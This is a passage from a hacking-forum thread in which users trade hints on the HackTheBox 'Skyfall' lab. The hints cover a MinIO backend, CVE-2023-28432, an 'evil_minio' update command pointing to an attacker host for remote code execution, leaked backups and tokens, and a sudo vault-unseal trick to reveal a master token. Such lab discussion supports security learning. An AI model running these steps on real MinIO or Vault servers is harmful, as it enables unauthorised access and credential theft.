Skyfall - HTB
by paven - Saturday February 3, 2024 at 02:10 PM
#31
(Feb 03, 2024, 10:40 PM)Art10n Wrote: Not AWS , MinIO

http://prd23-s3-backend.skyfall.htb/mini...cs/cluster

# HELP minio_audit_failed_messages Total number of messages that failed to send since start
# TYPE minio_audit_failed_messages counter
minio_audit_failed_messages{server="minio-node1:9000",target_id="sys_console_0"} 0
minio_audit_failed_messages{server="minio-node2:9000",target_id="sys_console_0"} 0
# HELP minio_audit_target_queue_length Number of unsent messages in queue for target
# TYPE minio_audit_target_queue_length gauge
minio_audit_target_queue_length{server="minio-node1:9000",target_id="sys_console_0"} 0
minio_audit_target_queue_length{server="minio-node2:9000",target_id="sys_console_0"} 0
# HELP minio_audit_total_messages Total number of messages sent since start
# TYPE minio_audit_total_messages counter
minio_audit_total_messages{server="minio-node1:9000",target_id="sys_console_0"} 1
minio_audit_total_messages{server="minio-node2:9000",target_id="sys_console_0"} 0
# HELP minio_bucket_objects_size_distribution Distribution of object sizes in the bucket, includes label for the bucket name
# TYPE minio_bucket_objects_size_distribution gauge
minio_bucket_objects_size_distribution{bucket="askyy",range="BETWEEN_1024_B_AND_1_MB",server="minio-node2:9000"} 1

Please share how you discovered the subdomain http://prd23-s3-backend.skyfall.htb/
I have tried multiple wordlists but cannot find it.
Reply
#32
(Feb 04, 2024, 12:08 AM)berlik Wrote:
(Feb 04, 2024, 12:01 AM)Shalabi Wrote:
(Feb 03, 2024, 11:59 PM)berlik Wrote: How did you set up the mc client? can you show file ~/.mc/config.json?

use mc alias set myminio http://... rootuser rootpassword

Tnx!!!

just make sure you don't mess it up with your mc (midnight commander) if you have, be careful of the paths...

though, didn't found anything useful... even if versioning is enabled for one of the users, you can go back few versions..
Reply
#33
(Feb 04, 2024, 01:10 AM)rat Wrote:
(Feb 04, 2024, 01:06 AM)camiyi3472 Wrote: damn i found the ssh key but can't login it is asking for the pass

cause its old and new ones dont have the authorized users file populated

which much explains it why Sad
Reply
#34
I found more stuff in home_backup.tar.gz:
VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
PM for tokens.
Also you must add that new vhost to /etc/hosts
Reply
#35
some hint to root?
Reply
#36
(Feb 04, 2024, 04:01 AM)camiyi3472 Wrote:
(Feb 04, 2024, 03:58 AM)DataNinja Wrote: some hint to root?

Dude, any nudge on initial access?
mc admin update command is not working for me , it is giving me error, don't know if i am in the right path

Yeah I'm not sure if the evilminio RCE path is the way. I'm getting this error when trying to update minio:
mc admin update myminio http://10.10.X.X:18080/minio.RELEASE.2023-03-22T06-36-24Z.sha256
You are about to upgrade *MinIO Server*, please confirm [y/N]: y
mc: <ERROR> Unable to update the server. The specified method is not allowed against this resource.
I was using this: https://github.com/AbelChe/evil_minio
Anyone have any ideas for getting foothold?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#37
(Feb 04, 2024, 04:01 AM)camiyi3472 Wrote:
(Feb 04, 2024, 03:58 AM)DataNinja Wrote: some hint to root?

Dude, any nudge on initial access?
mc admin update command is not working for me , it is giving me error, don't know if i am in the right path

nudge : export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
hint:There is more to it, you need a token and its in a file inside askyy and it has mutliple versions(to revert versions use mc undo)

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[-] Master token found in config: ****************************
[>] Enable 'debug' mode for details
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false

I know you can add at the end of the command another -c.
I just don't know how the file should be looked like, I tried so many combinations and still nothing.
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vc test.yaml
[+] Reading: test.yaml
[>] Check interval: 5s
[>] Max checks: 5
[!] No tokens found in config
Reply
#38
can anyone shed some light on how CVE-2023-28432 was exploited? i haven't been able to find the vulnerable endpoint
Reply
#39
the rooted is easy
Reply
#40
(Feb 04, 2024, 05:12 AM)Junkman2531 Wrote:
(Feb 04, 2024, 05:07 AM)DataNinja Wrote: the rooted is easy

any hint for root?

this is complete guesswork as there is literally no documentation on vault-unseal...

It is an open source tool, so not total guesswork: https://github.com/lrstanley/vault-unseal
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 92,016 Yesterday, 06:48 PM
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,998 Yesterday, 09:54 AM
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 93,053 Yesterday, 08:48 AM
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,642 Yesterday, 05:08 AM
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,292 Apr 30, 2026, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)